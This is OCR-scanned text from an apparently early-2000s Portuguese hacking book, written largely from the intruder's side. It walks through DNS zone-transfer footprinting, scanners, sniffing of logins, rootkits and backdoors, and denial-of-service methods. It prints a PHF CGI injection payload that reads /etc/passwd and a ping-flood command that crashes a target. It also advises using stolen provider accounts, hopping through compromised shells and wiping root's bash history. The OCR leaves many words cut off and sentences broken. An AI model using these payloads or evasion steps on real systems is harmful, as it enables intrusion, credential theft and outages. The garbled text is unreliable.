Hackeando com Linux

Hackeando com o Linux

Inicio

Procura na FAPESP

No Brasil, o órgão regulador para o cadastro de domínios é a FAPESP (http:// registro.fapesp.br). Lá encontram-se todas as informações disponíveis dos domínios cadastrados no país. O hacker poderia ali levantar as informações sobre os servidores de DNS da vítima e a partir daí seguir para a segunda fase do ataque. Na FAPESP é possível descobrir se o domino está num provedor ou em uma estaçao na própria empresa.

 

Consulta no DNS

O DNS é hoje na Internet um dos principais serviços de consulta a nomes de domínios. Basicamente cada site possui um servidor que guarda um banco de dados dos domínios ali cadastrados. Se neste banco de dados nâo se tomar cuidado, certas informações podem ser passadas e utilizadas pelo hacker para seus futuros ataques. Isto pode ser feito através do comando nslookup do TCP/ IP do Linux, um utilitário que pesquisa o DNS e permite a visualizaçâo de informações sobre o mesmo. Vejamos a seguir um exemplo:

[oldmanbox /] #nslookup

Default Server: olom.hack.net

Address: 10.0.0.1

 

>set q =any

>vitima com. br

Non-authoritative answer:

vitima.com.br nameserver = 11s1.vitima.com.br

vitima.com.br nameserver = NS2 .nitima.com.br

Authoritative answers can be found from:

vitima.com.br nameserver = ns1.vitima.com.br

vitima.com.br nameserver = NS2 .nitima.com.br ns1.vitima.çom.br NS1.nitima.com.br internet address = 192.168.0.1

NS2.nitima.com.br internet address = 192.168.0.2

Com posse dos IPS dos servidores de DNS faça o seguinte no nslookup:

>server 192.168.0.1

Default Server: 192.168.0.1

Address: 192.168.0.1

 

>set tvpe=any

> is -d vitima.com.br > /dns.out

>quit

 

Ao voltar ao prompt do linux digite o seguinte:

(oldmanbox /]#more dns.out

> ls -d vitima.com.br

[m2wo.vitima.com.br]

$ORIGIN vitima. com. br.

@ 1D IN SOAnsi root (

  •  
  •  
  •  
  •  
  •  
  • 2000021501 ; serial

    8H ; refresh

    4H ; retry

    5w6dl6h ;expiry

    1D ) ; minimum

  • 1D IN NS ns1

    1D IN NS ns2 .vitima.com.br

    1D IN MX o ns2.vitima.com.br

    1D IN A 192.168.0.1

  • serverbd 1D IN A 192.168.0.51

  •  
  • 1D IN HINFO "Alpha NT"

    1D IN TXT "Oracle Sede RJ"

  • diretorial 1D IN A 192.168.0.52

    1D IN HINFO "Win 98"

    1D IN TXT "Diretoria Financeira"

     

     

     

    Este arquivo exemplo gerado por esta pesquisa mostra como o DNS pode

    revelar muitas informações se nâo bem oculto. Nesta listagem, o hacker já

    sabe que o servidor de correio é o ns2.vitima.com.br (parâmetro MXdo DNS)

    e descobriu um servidor NT (parâmetro HINFOdo DNS) e uma estação Windows

    98. da diretoria financeira!

    Outro recurso de procura com o DNS éo comando host do Unix/Linux. Exemplo:

    [oldmanbox /]#host -1 vitima.com.br

    vitima.com.br name server ns1.vitima.com.br

    vitima.com.br name server ns2 .vitima.com.br

    vitima.com.br has address 192.168.0.1

    acessoll.vitima.com.br has address 192.168.0.60

    ns1.vitima.com.br has address 192.168.0.1

    ns2.vitima.com.br has address 192.168.0.2

    router.vitima.com.br has address 192.168.0.254

    fir.vitima.com.br has address 192.168.0.10

    .

    .

    .

     

     

    Desta maneira é possível visualizar vários IPSdas máquinas que compõem esta rede como um todo. Para o /7acker estas informações são por demais valiosas, já que com elas é possível estabelecer quais serão as vitimas de seu ataque.

    Rotas

    O acompanhamento de rotas de pacotes IP entre redes é uma das formas de saber que máquinas estão funcionando como servidores e descobrir quais são os roteadores que as interligam. Para isto basta utilizar o programa traceroute desenvolvido originalmente por Van Jacobson e que normalmente vem acompanhado em sistemas Linux e Unix (no Windows NT se chama tracert).

    Com o traceroute é possível descobrir a topologia de uma rede, identificar os dispositivos de controle de acesso (roteadores, firewalls, etc.). O exemplo a seguir ilustra seu funcionamento:

    [oldmanbox /)# traceroute vitima.com.br

    1 oldmbox (10.0.0.1> 147.526 ms 139.575 ms 139.909 ms

    2 router.net.com.br (10.0.0.250) 139.921 ms 149.821 ms 139.936 ms

    3 router.vitima.com.br (192.168.0.254> 229.939 ms 309.867

    ms 299.925 ms

    4 fir.vitima.com.nr (192.168.0.10) 289.899 ms * *

    5 nsl.vitima.com.br (192.168.0.1> 259.909 ms * 310.084 ms

     

    Neste exemplo podemos ver que, depois de sair do roteador, no site da vítima os pacotes passam por uma máquina chamada fir.vitima.com.br; antes de chegar ao servidor principal. Provavelmente pode tratar-se de um firewall ou um gateway qualquer. Este exemplo anterior é por demais simplista, não existe um bloqueio efetivo implementado.

    O traceroute ainda pode ser utilizado para análise de uma determinada porta. Vamos verificar o exemplo a seguir:

    [oldmanbox /]# traceroute -p25 192.168.0.2

     

    Onde -p é O número da porta, no caso 25, de SMTP. Neste caso poderíamos verificar se há uma respotsa da porta 25 na máquina destino. Com isto, podemos testar várias repostas de portas, mas vamos discutir agora uma maneira mais fácil de saber se um serviço está ativo ou não. Utilizaremos para isso a técnica de scanning.

    Scanning ou Varredura

    Levantadas as informações com as técnicas de footprinting, o hacker passaria para a segunda fase do ataque que seria a varredura ou scanning da rede. Os scanners são programas que percorrem as principais portas e serviços do sistema em busca de respostas. Basicamente existem dois tipos de scanners: os de porta e os de vulnerabilidade. Discutiremos melhor sobre os scanners no Capitulo 2.

    Neste passo, o hackervarre a rede em busca de portas abertas ou serviços que apresentem possíveis vulnerabilidades para utilizá-las para a invasão. Este levantamento pode ser muito demorado, dependendo do tamanho da rede. Obtidas as informações, o próximo passo é a invasão propriamente dita.

    Normalmente o hacker (o profissional) nunca executa a varredura de sua máquina e sim de uma outra máquina na lnternet.

    O Ataque

    Basicamente esta é a fase principal do hacker, o ataque, ou melhor, a penetração no sistema. Existem ataques que já não estão em voga, mas ainda são utilizados em sistemas bastante desprotegidos.

    Estes ataques são os chamados ataques brute force (força bruta). Os serviços mais comuns atacados por esta técnica são: FTP, Te/net POP, HTTP, Secure Shell (55K), os comandos Remote (rsh, r/ogin, etc.) Existem ainda sistemas vulneráveis a este tipo de ataque. De acordo com um hacker americano, cerca de 20% dos sistemas na Internet ainda são vulneráveis!

    O mais utilizado atualmente é o chamado bufferoverflow, que consiste em pôr mais dados num buifer do que ele pode suportar Frequentemente devido a erros na programação, pode-se tomar vantagem deste problema, permitindo a execução de códigos arbitrários, como por exemplo um shell de root! Existem buifer overflows do tipo local e remoto, sendo que este último é a principal forma de acesso não autorizado a um sistema. Muitos, mas muitos sistemas são vulneráveis a este tipo de ataque devido ao desconhecimento de seus administradores.

     

     

    Outro tipo de ataque são os ataques baseados em CGI, conhecidos como I»put valldation attacks. O mais famoso é o PHF descoberto em 1996 por Jennifer Nyers. Com este ataque se poderia conseguir o passwd de um sistema!

    Dica de segurança de Oldm@n

    Durante o período de 1 996 e 1 997 o PHF foi a coqueluche entre os hackers para roubar as senhas de um site. A sintaxe do comando era a seguinte:

    http://www.vitima.com.br/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd

    Em muitos casos o passwd não tinha a proteção do shadow, então...

     

    Nos dias de hoje já existem novos tipos de ataque explorando este tipo de vulnerabilidade. Vamos analisá-los nos próximos capítulos.

    Após a Invasão

     

    Quando o hackerestá dentro do sistema, ele prepara seu ambiente de trabalho executando quatro operações básicas:

    Utilização de rootkits

    Um rootkit com põe-se de um conjunto de programas do sistema devidamente 5 para efetuar operações não autorizadas. Por exemplo, o programa

    'poderia ser substituído por um inetddo rootki4 que além de executar as ~raçoes normais, poderia abrir uma entrada para um hacker sem maiores

    s! Os rootkits contém o que nós chamamos de cavalos de Tróia ou ~jans e são a praga dos administradores de sistema.

     

     

    é uma ferramenta que captura, armazena e analisa pacotes que trafepela rede. Mas para que um hackerexecutaria um sniffer? Simplesmente

    - capturar senhas! Isto mesmo: com um sniffer sendo executado em um todas as pessoas que estivessem executando um logon a este servidor; suas senhas capturadas.

    Um exemplo de arquivo resultante de um sniffer, teria o seguinte resultado:

    l0.0~0.l => ns2.vitima.com.br (ll0~

    USER oldman

    PASS hacking

    STAT

    QUIT

    - - - - - [FIN]

     

    O logon do usuário é oldman e sua senha hacking.

    Dica de segurança de Oldm@n

    Imaginem um sniffer sendo executado em um provedor: o hacker conseguirá dezenas de contas para utilizar como meio de invasão incógnito. Um hacker nunca utiliza sua prórpia conta de acesso àlnternet, normalmente utiliza a conta roubada de alguém de um provedor.

     

    Mas os sniffers podem ser facilmente detectados por colocarem os dispositivos de rede em modo promíscuo (promiscuous mode). Contudo, com a utilização de um rrotkit, o hacker pode evitar esta detecção. Nos próximos capítulos estes detalhes serão explicados.

    Colocação de Backdoors

     

    Um backdooré um programa que permite o acesso de um hackerao sistema através de uma porta TCP ou UDR O backdoor pode vir junto com um rootkít, ou ser implementado pelo hacker. Na prática, o backdoor permite abrir uma conexão do tipo cliente/servidor; gerando um acesso a um shell com perfil de root.

    O exemplo a seguir pode melhor ilustrar esta situação:

    (oldmaribox /]# telnet 192.168.0.2 42000

    Connected..

    password: *******

    [/]#

     

     

    O backdoor está respondendo na porta 42000, bastou o hacker fazer um te/net

    a esta porta, digitar uma senha definida por ele e adquirir o shell de root.

    Existem vários tipos de backdoor, inclusive baseados em ICMP. Analisaremos

    melhor no capítulo sobre backdoors estas ferramentas.

    Limpeza de Logs

    Feita a invasão, colocada as ferramentas (trojans e backdoors), vem a última fase da invasão, ou seja, apagar os rastros da presença no sistema. Normalmente os /7ackersse valem dos Iogcleaners, ou seja, programas que limpam os logs do sistema apagando sua presença propriamente dita. Estes programas alteram as informações em vários arquivos de segurança, causando assim a não detecção da invasão.

    Dica de segurança de Oldm@n

    Alguns programas de limpeza de logs são realmente eficientes, inclusive limpam o arquivo bash history do root e do sistema. Apesar disto muitos hackers foram pegos por terem esquecido de limpar

    estes dois arquivos importantes.

     

    A partir daí a máquina está sob a posse do hacker; ou como dizem no jargão ownada, um anglicismo vindo da palavra inglesa owning, que significa tomada, conquistada.

    Outros ataques Explorados por Hackers

    existe apenas o ataque com o sentido de invadir máquinas. Existem também alguns voltados para o dano e paralisação de sites, bem como propagação virus. Citaremos adiante os mais utilizados pelos hackers.

    Denial of Service (DoS)

    Trata - se de colocar serviços em máquinas locais ou remotas fora de operação, sem

    ter a devida permissão. Esses tipos de ataques são facilmente colocados

    em pratica e por vezes de difícil prevenção.

  •  
  • Os ataques de Denial of Service (DoS) são muito usados porque eles podem temporariamente deixar uma máquina desligada ou travada, e dependendo de qual máquina, até sua rede inteira. O objetivo de quem quer fazer um DoS ésimples e direto: tirar host(s) da rede. Exceto quando são usados em testes em suas próprias máquinas, os DoS's são sempre nocivos.
  • O primeiro DoS de alguma significância foi o Morris Worm. Foi estimado que algumas das 5000 máquinas afetadas por este worm ficaram fora por várias horas. Na época (novembro de 1988), isto foi um grande desastre para várias instituições, como centros de pesquisas e universidades, mas não teve tanto impacto para o resto do mundo. Hoje em dia, um DoS pode resultar em milhões perdidos.

    Distributed Denial of Service (DDos)

    Os ataques a grandes sites na Web (Yahoo!, Amazon,etc.) são fruto de uma técnica explorada pelos hackers. o ataque distribuído. Baseado nas técnicas de Denial of Service, é feito através do envio de pacotes de dados em larga escala, para serviços baseados em RPC, que já foram devidamente invadidos.

    Em vez de um host, o hacker utiliza uma rede de máquinas espalhadas pela Internet para realizar este tipo de ataque. No Capitulo 3 falaremos mais a respeito.

    E-mail Bomba

    A técnica de e-mail bomba é nada mais nada menos do que o estouro do espaço reservado para a caixa postal de um usuário. Cada usuário possui, normalmente, um espaço no disco rígido de um sistema para o armazenamento de suas mensagens em sua caixa postal. O objetivo principal do e-mail bomba é o envio contínuos de mensagens até o preenchimento total deste espaço e conseqúentemente o impedimento da chegada de novas mensagens, até que o administrador ou usuário limpem este espaço. Normalmente, o usuário recebe centenas e, às vezes, milhares de mensagens repetidas até que o administrado

    consiga bloquear o sistema.

    Syn Flooding

    Uma requisição de conexão TCP(SYN) é enviada para um computador alvo. A origem do endereço IP no pacote é substituida com um endereço que não está em uso na internet, ou que pertence a outro computador É a técnica conhecida como spoofing, da qual falaremos mais à frente.

    O ataque vai então enviar muitos TCP SYN's, sobrecarregando o alvo que tenta responder a todas as requisições com um SYN-ACK. No caso, então, de um IP não existente nenhuma resposta será recebida ao SYN-ACK. A configuração padrão do Windows NT 3.5x ou 4.0 irá retransmitir o SYN-ACK 5 vezes. Agora imagine quantas vezes ele tentará responder às múltiplas requisições de conexão.

    Existe um comando simples que vocé poderá executar para verificar se está sob este tipo de ataque no windows, é o netstat Vamos a um exemplo:

    c:\) netstat -n -p tcp

    Se sua máquina estiver sob ataque, verá algo parecido com isso:

    Active Connections

    Proto Local Address Foreign Address State

    TCP 127.0.0.1:1030 127.0.0.1:1032 ESTABLISHED

    TCP 127.0.0.1:1032 127.0.0.1:1030 ESTABLISHED

    TCP 10.57.8.190:21 10.57.14.154:1256 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1257 SYN_RECEIVED

    TcP 10.57.8.190:21 10.57.14.154:1258 SYN_RECEIVED

    TcP 10.57.8.190:21 10.57.14.154:1259 SYN_RECEIVED

    TcP 10.57.8.190:21 10.57.14.154:1260 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1261 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1262 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1263 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1264 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1265 SYN_RECEIVED

    TCP 10.57.8.190:21 10.57.14.154:1266 SYN_RECEIVED

    TCP 10.57.8.190:4801 10.57.14.221:139 TIME_WAIT

    Ping Flooding

    como Ping of Death (ping da morte), pode congelar ou reiniciar Windows95 e Windows 98. Consiste em enviar pacotes ICMP com tamanhos os de 65000 bytes. O Windows não tem capacidade de gerenciar este ~ho de pacote. Eis um exemplo passo a passo de um ataque:

     

    Antes do Ataque

    linux:~# ping 192.168.0.4

    PING 192.168.0.4 (192.168.0.4>: 56 data bytes

    64 bytes from 192.168.0.4: icmp_seq=0 ttl=128 time=0.5 ms

    64 bytes from 192.168.0.4: icmp_seq=1 ttl=128 time=0.5 ms

    - 192.168.1.4 ping statistics -

    2 packets transmitted, 2 packets received, 0% packet loss

    round-trip min/avg/max = 0.5/0.5/0.5 ms

    O Ataque

    linux:~# ping -f -s 65000 192.168.0.4

    PING 192.168.0.3 (192.168.0.4): 65000 data bytes

    .......................................................................................................................

    - 192.168.0.4 ping statistics --

    11440 packets transmitted, 228 packets received, 98% packet loss

    round-trip min/avg/max = 0.6/32.0/64.2 ms

    Após o Ataque

    linux:~# ping 192.168.0.4

    PING 192.168.0.4 (192.168.0.4): 56 data bytes

    - 192.168.0.4 ping statistics --

    4 packets transmitted,0 packets received, 100% packet loss

    A máquina foi reiniciada devido ao excesso de pacótes IMCP.

    Smurf Attack

    Ataques smurf exploram erros de configuração em roteadores que permitem a passagem de pacotes IMCP ou UDP direcionados a endereços de broadcast, transformando redes em amplificadores destes.

    Um atque smurf, utilizado um dado número de redes amplificadoras consegue consumir grandes quantidades de banda, tanto destas redes quanto da rede da vítima, tornando inviável o tráfego nas mesmas. A configuração correta de host e roteador para bloquear este tipo de ataque é extremamente dependente de fabricante.

    Process-table Attack

    O Process-table Attack é um tipo de ataque de Denial of Service relativamente novo que pode ser lançado contra numerosos serviços de rede que usam sistemas Unix.

    Este ataque funciona em uma variedade enorme de sistemas Unix, incluindo os sistemas Solaris, Irix e Linux que atuam como Provedores Internet. Para que um servidor fique inoperante, o agressor apenas precisa enviar a ele muitas solicitações de conexao, que por sua vez causam uma sobrecarga no sistema.

    Os sistemas Unix comuns trabalham normalmente com um limite que varia entre 600 a 1500 conexões (processos) simultâneos. Entao, quando esse "limite" é atingido, o servidor trava. Todavia, muitos destes servidores Unix podem ser configurados para aceitar até um certo limite de processos simultâneos, o que evitaria este problema, mas nao deixa de ser um "bug" e como tal deve ser corrigido.

    Como foi dito antes, um sistema Unix "Standard" possui limites do número de processos que os usuá rios podem executar, mas nâo existem limites no número de processos que um super usuário (root) pode criar, mesmo que estejam acima do limite imposto pelo hardware. Considerando que os pedidos de conexao TCP/IP sâo controlados pelos servidores que estâo executando como root, é possível abarrotar a tabela de processos (process-table) do sistema com múltiplos pedidos de conexâo a esta máquina.

    este ataque é bem sucedido, ele impede a máquina de executar qual-quer outro comando, ocorrendo entâo o travamento. Para executar o ataque à

    de processos (process-tab/e-attack) o cliente precisa somente fazer uma ~xao ao servidor e nao enviar qualquer informaçao. Assim que o cliente

    a conexao, esta conexao se tornará um processo a ocupar uma na tabela de processos do sistema.

    nao? Em muitos computadores, o finger é lançado pelo inetd. Os autores do inetd, colocaram várias proteções no código fonte do programa que precisam ser bypassadas para que um ataque possa ter sucesso. Se o inetd receber mais de 40 conexões para um serviço em particular em menos de um minuto, este serviço é desabilitado por 10 minutos. A razão disto não é proteger o servidor contra ataques à tabela de processos, mas proteger o servidor contra alguns softwares que possam gerar muitas conexões rapidamente.

    Resumo

    Neste capítulo vimos os perfis dos atacantes e como podemos distinguir cada um deles. Vimos ainda o passo-a-passo de um ataque, desde os modos de operaçao na aquisiçâo das informações de um sistema, sua invasao e a eventual tomada do sistema pelo hacker. Analisamos também outros ataques, estes de cunho destrutivo, e que têm o principal objetivo de paralisar um site ou prejudicar um usuário.

    Estes ataques podem partir desde e-mails bomba até a sobrecarga de serviços que causem a interrupçâo da operaçào de um servidor.

     

    Atacar vindo das sombras

    No Capítulo 1 conhecemos o perfil e a técnica básica de invasao utilizadas por hackes. Neste capítulo analisaremos algumas das principais ferramentas disponlveis na Internet, bem como exploits e várias outras que podem ser utilizadas para estes fins. O hacker sabe onde encontrar e utilizar estas ferramentas, e depois de um determinado tempo, poderá tornar-se habilidoso em programaçao e começar a criar as suas próprias, ou aprimorar as existentes.

    Scanners

    Como dito anteriormente, scanners são ferramentas que analisam redes procurando por vulnerabilidades que possam comprometer a segurança do local.

    Existem inúmeros tipos de scanners, e eles são de grande ajuda tanto para como para administradores de sistemas. Os mais populares são de dominio público (GPL), porém também existem scanners comerciais disponíveis para a plataforma Microsoft).

    Conhecer as fraquezas do seu sistema é algo fundamental, pois tenha certeza de que cedo ou tarde alguém de fora vai bater à sua porta, e, quando isso acontecer, é bom que esteja preparado.

    Periodicamente são lançados scanners que detectam as vulnerabilidades mais recentes, cabendo ao administrador providenciar o patch de correção, antes que explorem qualquer vulnerabilidade do sistema. Observe que um scanners só detecta o problema, raros são aqueles que automaticamente se aproveitam 1 da falha para obter algum nível de acesso.

    Vale lembrar que não basta fazer uma sondagem no seu sistema, é preciso ficar atento às listas de discussão relacionadas à segurança. Assim você poderá rapidamente saber de possíveis bugs e correr atrás do patch. Lembre-se de sempre haverá exploits private os quais circulam num círculo fechado de hackers. Existem dois tipos de scanners: port scanning e scanners de vulnerabilidade.

    Port Scanning

    Basicamente, verifica as portas abertas de um sistema. Existem stealth port scanners, que podem não ser detectados, sendo necessárias ferramentas especializadas para sua detecção. O objetivo de um port scan é detectar as porta de serviços de um sistema, fazendo-as responder cada vez que forem consultadas. Isto permite que o hackerpossa determinar se certas portas estâo ou não abertas no sistema.

    Existem alguns tipos de port scanning muito utilizados, são eles:

    TCP CONNECT SCAN - Este tipo de scanner conecta em uma porta e executa os três handshakes básicos ( SYN, SYN/ACK e ACK). Este tipo de scanner é facilmente detectável.

    TCP SYN SCAN - Conhecido como ha/f-open scannig, devido à conexão TCP durante a operação. Com isto, evita que o log da operação fique no sistc ma. Normalmente o programa envia um pacote SYN para a porta alvo, se recebido um SYN/ACK do alvo, o programa deduz que a porta está no modo escuta, caso seja um RST/ACK, significa que a porta não está ativa naquele momento.

    UDP SCAN - Trata-se de um dos processos mais lentos de scannin~ pois depende de fatores de utilização da rede e de recursos de sistema. O scanner envia um pacote UDP para a porta alvo, se a resposta for ICMP port unreachable, a porta encontra-se fechada, caso contrário, o scanner deduz que a porta está aberta.

    TCP NULL SCAN - Neste caso, o scannerdesativa todos os flags e aguarda do alvo um RST para identificar todas as portas fechadas. Baseado na RFC 793.

    TCP FIN SCAN - Neste caso, o scanner envia pacotes FIN para a porta alvo e espera o retorno de um RST para as portas fechadas. Baseado na RFC 793.

    TCP XMAS TREE SCAN - Neste caso, o scanner envia pacotes FIN, URG e PUSH para a porta alvo e espera o retorno de um RST para as portas fechadas. Baseado também na RFC 793.

    FERRAMENTAS

    Vamos agora descrever cada uma das ferramentas de port scan mais populares.

    NMAP - Network Mapper

    Autor: Fyodor

    Plataforma: Linux

    URL: http://www.insecure.org/nmap

    Licença: GPL

    O nmapé um dos scanners de porta mais populares entre hackers e especialistas

    de segurança. Escrito por Fyodor é de simples operação e capaz de realizar até

    Stealth Portscans. A seguir temos um exemplo de um simples port scan com o

    nmap em uma máquina local.

    [root@EBOLA nmap-2.12]# ./nmap -sS 127.0.0.1

    Starting nrnap V. 2.12 by Fyodor (fyodor8dhp.com, www.insecure.org/nmap)

    WARNING! The following files exist and are readable:

    /usr/local/lib/nmap/nmap-serviçes and ./nmap-services. I am choosing

    /usr/local/lib/nmap/nmap-services for security reasons. set NMAPDIR=. to

    give priority to files in your local directory

    Interesting ports on localhost (127.0.0.1):

    Port State Protocol Service

    22 open tcp ssh

    23 open tcp telnet

    25 open tcp smtp

    79 open tcp finger

    111 open tcp sunrpc

    113 open tcp auth

    421 open tcp ariel2

    513 open tcp login

    514 open tcp shell

    515 open tcp printer

    Nmap run completed - 1 Ip address (1 host up) scanned in 1 second

     

    Trata-se de um excelente portscan. Nós o recomendamos para uso na detecção de portas em sua rede. Depois de aberto no sistema vá ao diretório /doc e veja o arquivo nmap_doc.html para toda as opções do sistema.

    Netcat

    Autor: Hobbit

    Plataforma: Linux/NT

    URL: http ://packetstorm . securify.com/archives/scanners

    Licença: GPL

    O Netcat ou NC, como muitos falam é uma espécie de utilitário PPTO (pau toda a obra). E um scanner simples, rápido e eficiente, além de ser capaz de executar comandos remotos em uma espécie de shell. A seguir temos um exer de um simples portscan com o NC em uma máquina local.

    [root@EBOLA /nc]# ./nc -u -v -z -w2 127.0.0.1 1-140

    [127.0.0.1] 139 (?) open

    [127.0.0.1] 135 (?) open

    [127.0.0.1] 110 (pop-3) open

    [127.0.0.1] 80 (http) open

    [127.0.0.1] 79 (finger) open

    [127.0.0.1] 21 (ftp) open

    Durante o livro veremos outras funções interessantes do NC. A documenta está contida no arquivo readme no diretório de instalação do NC.

    SuperScan

    Autor: TLsecurity

    Plataforma: NT/WIN 95/98 e WIN 2000

    URL: http ://packetstorm . secu rifv. com/a rchives/ntscanners

    Licença: GPL

    O SuperScan é um scanner baseado em GUI voltado exclusivamente para o ambiente Windows. E capaz de realizar a varredura de várias portas em uma rede, baseado em ambiente Microsoft e gerar reports em arquivos. A seguir; temos um exemplo de sua tela principal com uma operação de scanning sendo realizada.

    Este scanner é o ideal para quem tem redes baseadas em ambiente Microsoft.

    Scanners de Vulnerabilidade

    Utilizado para a detecção de vulnerabilidades em softwares que estão sendo executados em um sistema. Este tipo de scanneré muito útil para o hacker, já que através disto ele pode escolher qual o exploita ser utilizado para a invasão. Existem diversos scanners de vulnerabilidade, mas muitos codersdesenvolvem scanners private (scanner de uso pessoal não divulgados) e que utilizam para fins não muito éticos.

    Ferramentas

    Vamos agora descrever os scanners de vulnerabilidade mais populares.

    NESSUS

    Renaud Deraison ma: Linux /NT

    http://www.nessus.org a: GPL

    Para compilá-lo no Linux, será necessario a libgtk, glib, lib-gmp, e algumas outras libs gráficas, pois ele foi desenvido para o ambiente X-windows.

    Desenvolvido pelo francês Renaud Deraison, esse scanner possui características bastante interessantes. O Nessus roda em cima do seu próprio daemon, permia você colocar o nessus daemon em um determinado host e a partir do cliente scanner toda uma subnet co como se estivesse partindo tudo do host onde está o seu daemon. Ele pode checar por até 208 vulnerabilidades. Possui uma interface bastante amigável e já esta na versão 0.99.

    Na versão NT, ele se encontra em um versão menos avançada, mas assim mo possui uma excelente recursividade.

    WHISKER

    Autor: rain.forest.puppy

    Plataforma: Linux

    URL: http ://packetstorm .securify.com/archives/ntscanners

    Licença: GPL

    Notas: Para executá-lo no Linux, será necessário o interpretador PERL instala

    Excelente CGI scanner, se diferencia dos outros pelos modos de ação, com você pode usar um proxy e outras táticas anti-IDS. Verifica um grande número de vulnerabilidades. Veja, a seguir, um exemplo do whisker em uma m local.

    - whisker / vl.0.0 / rain.forest.puppy / ADM / wiretrip -

    Usage: whisker -s script.file ((-n input.file) | (-hhost) | (-H list)) (-1 log.file)

    -s specifies the script database file **

    -n nmap output (machine format, v2.06+) *

    -h scan single host (IP or domain) *

    -H host list to scan (file) *

    -v use virtual hosts when possible

    -v verbose. Print more information

    -d debug. Print extra crud++ (to STDERR)

    -p proxy off x.x.x.x port y (HTTP proxy)

    -l log to file instead of stdout

    -u user input; pass XXUser to script

    -I IDS-spoof mode-encode URLs to bypass scanners

    -E IDS-evasive mode-more IDS obfuscation

    -i more info (exploit information and such)

    -N query Netcraft for server OS guess

    -S force server version (e.g. -S "Apache/l.3.6">

    ** required * optional; one must exist

     

    Vete Scan

    Autor: Vete Girl

    Plataforma: Linux

    URL: http ://www.self-evident.com/vete-scan

    Licença: GPL

    Trata-se de um scanner de vulnerabilidade para ambiente Linux e que é uma excelente ferramenta de detecção de problemas. Desenvolvido por Vete Girl é altamente recomendado.

    Outros Scanners Interessantes

    SATAN (Security Administrator's Tool for Analyzing Networks)

    Autor: Dan Farmer

    Plataforma: Linux

    URL://www.fish.com/satan

    Licença: GPL

    Nenhum livro de segurança pode deixar de falar deste software,o SATAN é o avô dos scanners de vulnerabilidade. Escrito em PERL, foi feito para ser executado e gerar relatórios em um browser e foi a primeira grande ferramenta utilizada por hackers para detecção de vulnerabilidades em sistemas. E muito interessante executar o SATAN para fins de aprendizado das técnicas de scannig. Atualmente muitos administradores utilizam este software para detectar vulnerabilidades em suas redes.

    SAINT (Security Administrator's Integrated Network Tool)

    Autor: World Wide Digital Security, Inc.

    Plataforma: Linux

    URL: http://www.wwdsi.com/saint

    Licença: GPL

    O SAINT é considerado por muitos uma evolução do SATAN. Com suporte detecção a vários tipos de vulnerabilidades como DoS, ataques de CGI, ataque a POP, buffer overflows, etc. o SAINT tornou-se uma ferramenta interessal no que diz respeito à evolução de um conceito. Como o SATAN, o SAINT escrito em PERL e gera os seus relatórios em browser. Existe no site da uma versão web do SAINT o WebSaint, com relatórios gráficos baseados java e SSL para envio das informações criptografadas.

    MBCPOPER

    Autor: Felipe Cerqueira - MBC LABS

    Plataforma: Linux

    URL: http://www.mbc-corp.com.br/produtos

    Licença: GPL

    Desenvolvido pe,la equipe da MBC para detecção de vulnerabilidade no ser'~ POP QPOPER. E um típico scannervoltado para uma aplicação específica.

    Material de Referência

    Existem outros scanners que vale a pena serem visualizados. Estes são pequenos scanners que servem para orientar o administrador, a fim de entender o funcionamento destas ferramentas.

    No site www.packetstorm.securify.com existem várias delas, vamos citar mas interessantes:

    Nome Descrição Plataforma

    propecla.c Um scanner de porta para redes Linux

    classe C. Muito básico para quem

    deseja conhecer o funcionamento

    destas ferramentas. Escrito em C.

    Contido no site http://packetstorm/securify.com/archives/scanners.

    CGI_scanner_v1 .51.11. c Scanner que checa uma série de Linux

    vulnerabilidades em CGI's.

    Escrito em C.

    Contido no site http ://packetstom.com/archives/scanners

    portscan.c Scanner simples, rápido e eficiente. Linux

    Pode ser encontrado em

    http://www.giga.or.at/pub/hacker/unix/portscan.c

     

     

     

    Ocultando-se nas Sombras

    O Spoofinge outras Técnicas

    Vamos imaginar o seguinte cenário:

    "Sexta feira, Joãozinho, o Hacker; resolveu invadir um servidor localizado no endereço 192.168.0.1. Como ele não conhece ainda muito desta máquina, precisa scannear para levantar as vulnerabilidades e as portas abertas deste sistema. Como ele poderá fazer isto sem ser detectado????"

    Um hacker como Joãozinho terá que se pre~paor em não deixar rastros de seu endereço IP no momento em que executar a operação de scanning. Primeiro, ele não sabe o que está instalado naquele sistema (podem existir ferramentas de detecção!), e arriscar-se por pouco não vale a pena. Como nosso hacker agirá?

    Existem várias técnicas utlizadas pelos hackers profissionais, e uma delas envolve a seguinte rotina:

    a) Conectar-se ao provedor com uma senha roubada - O hacker se conectará a um provedor qualquer com uma senha conseguida com um do seus muitos sniffers espalhados pela Internet. Uma vez logado e autenticada com esta senha, ele começará o ataque.

    b) Acessar shells - Uma vez conectado, ele acessará via backdoors várias máquinas que invadiu até chegar a uma que contenha suas ferramentas de trabalho.

    Técnicas Básicas

    Trusted Host

    A primeira técnica é do trusted host, ou seja uma máquina a que é permitido o login sem fornecimento de senha, ou melhor; sem uma validação. Este host está definido no arquivos /etc/hosts.equiv do sistema. Assim o host passa a ser uma máquina confiável a este sistema.

    Outro método é utilizando os serviços do tipo remote (rlogin, rsh, etc.) potencialmente muito perigosos e explorados para invasão.

    Wingates

    Trata-se de hosts espalhados pela web, que permitem conexão e a partir deles conexões a outros servidores. O atacante conecta-se em um servidor deste tipo e executa um telnet a um host alva. Com isto, o IP que aparece no log do atacado é do wingate e nunca do atacante real.

    Anonymizer

    Trata-se de um serviço que permite um usuário navegar anonimamente pela Web. Este serviço é comum hoje em dia para aqueles que querem estar livres de cookies e scripts de rastreamento. Trata-se de um proxie do qual o usário se conecta e a partir daí pode ocultar-se atrás do mesmo.

    Escondimento de Proxies

    Trata-se de navegar utilizando proxies públicos espalhados pela Web. O atacante configura seu navegador para acessar um proxie. Em seguida deste proxie, conecta-se a outro proxie e assim sucessivamente. A desvantagem principal éque a partir de um determinado número de proxies encadeados, a navegação torna-se extremamente lenta.

    Shells Invadidas

    Quando um hacker possui uma ou várias shells espalhadas pela Internet, as utiliza como trampolins de ataque. Inicialmente se conecta a uma das shells e desta se conecta em outra e assim sucessivamente, até de chegar a última delas e iniciar o ataque. E muito comum este tipo de ataque.

    ARP Spoofing

